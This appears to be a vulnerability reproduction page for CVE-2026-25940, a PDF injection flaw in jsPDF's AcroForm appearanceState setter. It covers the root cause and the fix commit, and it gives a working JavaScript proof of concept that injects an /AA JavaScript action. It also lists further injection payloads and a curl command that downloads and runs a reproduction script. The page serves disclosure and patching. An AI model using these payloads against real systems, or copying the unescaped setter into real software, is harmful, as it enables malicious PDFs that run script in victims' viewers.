CVE-2026-25940: Verified Repro With Script Download
CVE-2026-25940: jsPDF: PDF Injection in AcroForm RadioButton allows JS Execution
CVE-2026-25940 is verified against jspdf · npm. Affected versions: < 4.2.0. Fixed in 4.2.0. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00102.
What Is CVE-2026-25940?
CVE-2026-25940 is a high-severity PDF injection (improper output encoding, CWE-116) in the jsPDF library's AcroForm module. Unsanitized input can inject arbitrary PDF objects, including JavaScript actions. Pruva reproduced it (reproduction REPRO-2026-00102).
CVE-2026-25940 Severity & CVSS Score
CVE-2026-25940 is rated high severity, with a CVSS base score of 8.1 out of 10.
High — serious impact or readily exploitable. Prioritize remediation.
Affected jspdf Versions
jspdf · npm versions < 4.2.0 are affected.
How to Reproduce CVE-2026-25940
pruva-verify REPRO-2026-00102 curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00102/artifacts/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-25940
Reproduced by Pruva's autonomous agents — 141 tool calls over 24 min. Full root-cause analysis and the complete transcript are below.
How the agent worked
Root Cause and Exploit Chain for CVE-2026-25940
Summary
jsPDF versions prior to 4.2.0 contain a PDF injection vulnerability in the AcroForm module. The appearanceState property setter in AcroFormRadioButton and AcroFormCheckBox classes does not properly escape user input, allowing injection of arbitrary PDF objects including JavaScript actions. An attacker can inject malicious JavaScript code that executes when a user interacts with the PDF document, specifically by manipulating the appearance state string to include additional PDF dictionary entries.
Impact
- Package: jsPDF (npm)
- Affected Versions:
< 4.2.0 - Fixed Version:
4.2.0 - CVE: CVE-2026-25940
- GHSA: GHSA-p5xg-68wr-hm3m
- CVSS Score: 8.1 (High)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Risk Assessment
This vulnerability allows an attacker to:
- Inject arbitrary JavaScript code into generated PDF documents
- Execute malicious scripts when victims interact with the PDF (e.g., hovering over form elements)
- Potentially exfiltrate data, manipulate the PDF viewer, or perform other malicious actions
Root Cause
The vulnerability exists in the appearanceState property setter in src/modules/acroform.js:
Object.defineProperty(this, "appearanceState", {
enumerable: true,
configurable: true,
get: function() {
return _AS.substr(1, _AS.length - 1);
},
set: function(value) {
_AS = "/" + value; // VULNERABLE: Direct concatenation without escaping
}
});
The setter directly concatenates user input with a "/" prefix without any validation or escaping. This allows an attacker to craft a value that:
- Starts with a valid appearance state (e.g., "Off")
- Contains additional PDF dictionary entries (e.g.,
/AA << /E << /S /JavaScript /JS (...) >> >>) - Results in a malformed but parseable PDF object
Fix Commit
The vulnerability was fixed in commit 71ad2db by:
- Removing leading "/" if present
- Using
pdfEscapeName()to properly escape the input - Prepending "/" after escaping
set: function(value) {
var name = value === undefined ? undefined : value.toString();
if (name.substr(0, 1) === "/") {
name = name.substr(1);
}
_AS = "/" + pdfEscapeName(name);
}
Reproduction Steps
Using repro/reproduction_steps.sh
The reproduction script performs the following steps:
- Clone jsPDF repository at vulnerable version (v4.1.0)
- Install dependencies (
npm install) - Create test script that:
- Creates a new PDF document with jsPDF
- Adds an AcroFormRadioButton with a child option
- Sets
appearanceStateto a malicious payload:"Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>" - Generates PDF output and checks for injected JavaScript
- Verify vulnerability by checking if malicious JavaScript is present in the PDF output
Manual Reproduction
const { jsPDF } = require('jspdf');
const doc = new jsPDF();
const group = new doc.AcroFormRadioButton();
group.x = 10; group.y = 10; group.width = 20; group.height = 10;
doc.addField(group);
const child = group.createOption("opt1");
child.x = 10; child.y = 10; child.width = 20; child.height = 10;
// Inject malicious JavaScript action
child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>";
const pdfOutput = doc.output();
// Check: pdfOutput.contains('/AA << /E << /S /JavaScript')
Evidence
Log Files
/workspace/logs/reproduction.log- Test execution output/workspace/logs/pdf_snippet.txt- Excerpt showing injected JavaScript in PDF/workspace/logs/malicious_test.pdf- Generated malicious PDF file
Key Evidence Excerpts
From the generated PDF (pdf_snippet.txt):
/AS /Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>
This shows the malicious JavaScript action (/AA << /E << /S /JavaScript /JS (...) >> >>) was successfully injected into the PDF structure. The /AA key represents an Annotation Appearance dictionary, /E represents an Enter event, and the JavaScript action is configured to execute app.alert('XSS') when the user hovers over the radio button.
Test Results
Testing jsPDF PDF Injection Vulnerability...
Version: 4.1.0
--- Vulnerability Test Results ---
Malicious payload embedded: true
Alert code present: true
[CONFIRMED] Vulnerability exists: JavaScript payload is embedded in the PDF
Recommendations / Next Steps
Immediate Actions
- Upgrade to jsPDF 4.2.0 or later - The vulnerability is patched in v4.2.0
- Sanitize user input - If immediate upgrade is not possible, validate and sanitize any user input before passing it to the
appearanceStateproperty
Input Validation Pattern
// Example sanitization before the fix
function sanitizeAppearanceState(value) {
// Remove any PDF dictionary markers
return value.replace(/\/[^\s]+/g, '').trim();
}
Testing Recommendations
- Add regression tests that verify the
appearanceStatesetter properly escapes input - Test with various PDF injection payloads including:
/AA << /E << /S /JavaScript /JS (...) >> >>(Enter event)/AA << /D << /S /JavaScript /JS (...) >> >>(Down event)- Other PDF action types
Additional Notes
Idempotency Confirmation
The reproduction script has been tested twice consecutively and produces consistent results:
- First run: Successfully cloned, built, and confirmed vulnerability
- Second run: Successfully used cached repository and confirmed vulnerability
Both runs confirmed the vulnerability with exit code 0.
Affected Properties
Based on the fix commit and advisory, the following properties are affected:
AcroFormRadioButtonchild elements'appearanceStatepropertyAcroFormCheckBoxASproperty
Both properties use the same vulnerable setter pattern that was fixed by the pdfEscapeName() addition.
Limitations
- The reproduction demonstrates the injection capability; actual JavaScript execution requires opening the PDF in a viewer that supports JavaScript (e.g., Adobe Acrobat Reader)
- The vulnerability requires user interaction with the malicious PDF (hovering over the form element)
CVE-2026-25940 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
Artifacts and Evidence for CVE-2026-25940
Scripts, logs, diffs, and output captured during the reproduction.
No artifacts available
How to Fix CVE-2026-25940
Upgrade jspdf · npm to 4.2.0 or later.
FAQ: CVE-2026-25940
How is CVE-2026-25940 exploited?
Which versions of jsPDF are affected by CVE-2026-25940, and where is it fixed?
How can I reproduce CVE-2026-25940?
References for CVE-2026-25940
Authoritative sources for CVE-2026-25940 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.